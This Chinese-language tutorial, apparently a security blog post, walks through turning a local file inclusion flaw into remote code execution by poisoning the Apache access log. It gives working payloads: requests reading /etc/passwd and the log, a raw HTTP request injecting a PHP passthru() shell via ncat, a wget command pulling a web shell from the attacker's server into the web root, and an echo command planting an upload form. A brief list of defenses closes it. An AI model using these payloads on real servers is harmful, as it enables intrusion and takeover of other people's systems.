通过APACHE ACCESS LOG来利用LFI漏洞
字数 978 2025-08-18 11:37:33

通过Apache访问日志利用LFI漏洞的深入指南

1. 漏洞概述

本地文件包含(LFI)漏洞允许攻击者读取服务器上的敏感文件内容。通过结合Apache访问日志,可以将简单的LFI漏洞升级为远程代码执行(RCE),最终获取服务器控制权。

2. 前置条件

  • 存在LFI漏洞的Web应用
  • Apache服务器配置允许目录遍历
  • 可访问Apache访问日志文件(通常位于/var/log/apache2/access.log)

3. 漏洞验证步骤

3.1 确认LFI漏洞存在

尝试包含常见系统文件:

/index.php?page=/etc/passwd

3.2 验证Apache日志可读

尝试包含Apache访问日志:

/index.php?page=/var/log/apache2/access.log

4. 漏洞利用过程

4.1 理解Apache日志特性

Apache访问日志会记录所有HTTP请求,包括恶意注入的PHP代码。

4.2 注入PHP代码到日志

使用netcat(nc)工具发送包含PHP代码的请求:

ncat 目标IP 80

发送以下内容(注意不要使用浏览器,因为会自动URL编码):

GET /<?php passthru($_GET['cmd']); ?> HTTP/1.1
Host: 目标IP
Connection: close

4.3 验证代码执行

通过LFI访问日志文件并添加cmd参数:

/index.php?page=/var/log/apache2/access.log&cmd=id

如果成功,将返回当前用户的ID信息。

5. 获取Web Shell的两种方法

5.1 使用wget下载

如果服务器有wget命令,可直接下载Web Shell:

&cmd=wget http://你的服务器/shell.php -O /var/www/html/shell.php

5.2 创建上传表单

通过echo命令创建文件上传页面:

&cmd=echo '<FORM ENCTYPE="multipart/form-data" ACTION="<?php echo $_SERVER["PHP_SELF"]; ?>" METHOD=POST>Send this file: <INPUT NAME="userfile" TYPE="file"><INPUT TYPE="submit" VALUE="Send"></FORM><?php move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>' > /var/www/html/upload.php

然后访问/upload.php上传Web Shell。

6. 完整利用流程总结

  1. 验证LFI漏洞存在(读取/etc/passwd等文件)
  2. 确认可读取Apache访问日志
  3. 通过netcat注入PHP代码到日志
  4. 验证代码执行(使用id、whoami等命令)
  5. 通过wget或上传表单获取Web Shell
  6. 访问Web Shell获取服务器控制权

7. 防御措施

  • 禁用不必要的目录遍历
  • 将日志文件存放在Web根目录外
  • 对用户输入进行严格过滤
  • 使用PHP的open_basedir限制文件访问范围
  • 定期更新和修补Web应用程序

8. 技术要点

  • passthru()函数:执行系统命令并显示原始输出
  • Apache日志默认位置:/var/log/apache2/access.log
  • 必须使用原始HTTP请求注入代码,避免浏览器自动编码
  • 上传表单需要服务器有写入权限

通过这种方法,简单的LFI漏洞可被升级为完整的服务器入侵,展示了看似低危漏洞的实际危害性。

通过Apache访问日志利用LFI漏洞的深入指南 1. 漏洞概述 本地文件包含(LFI)漏洞允许攻击者读取服务器上的敏感文件内容。通过结合Apache访问日志,可以将简单的LFI漏洞升级为远程代码执行(RCE),最终获取服务器控制权。 2. 前置条件 存在LFI漏洞的Web应用 Apache服务器配置允许目录遍历 可访问Apache访问日志文件(通常位于/var/log/apache2/access.log) 3. 漏洞验证步骤 3.1 确认LFI漏洞存在 尝试包含常见系统文件: 3.2 验证Apache日志可读 尝试包含Apache访问日志: 4. 漏洞利用过程 4.1 理解Apache日志特性 Apache访问日志会记录所有HTTP请求,包括恶意注入的PHP代码。 4.2 注入PHP代码到日志 使用netcat(nc)工具发送包含PHP代码的请求: 发送以下内容(注意不要使用浏览器,因为会自动URL编码): 4.3 验证代码执行 通过LFI访问日志文件并添加cmd参数: 如果成功,将返回当前用户的ID信息。 5. 获取Web Shell的两种方法 5.1 使用wget下载 如果服务器有wget命令,可直接下载Web Shell: 5.2 创建上传表单 通过echo命令创建文件上传页面: 然后访问/upload.php上传Web Shell。 6. 完整利用流程总结 验证LFI漏洞存在(读取/etc/passwd等文件) 确认可读取Apache访问日志 通过netcat注入PHP代码到日志 验证代码执行(使用id、whoami等命令) 通过wget或上传表单获取Web Shell 访问Web Shell获取服务器控制权 7. 防御措施 禁用不必要的目录遍历 将日志文件存放在Web根目录外 对用户输入进行严格过滤 使用PHP的open_ basedir限制文件访问范围 定期更新和修补Web应用程序 8. 技术要点 passthru() 函数:执行系统命令并显示原始输出 Apache日志默认位置:/var/log/apache2/access.log 必须使用原始HTTP请求注入代码,避免浏览器自动编码 上传表单需要服务器有写入权限 通过这种方法,简单的LFI漏洞可被升级为完整的服务器入侵,展示了看似低危漏洞的实际危害性。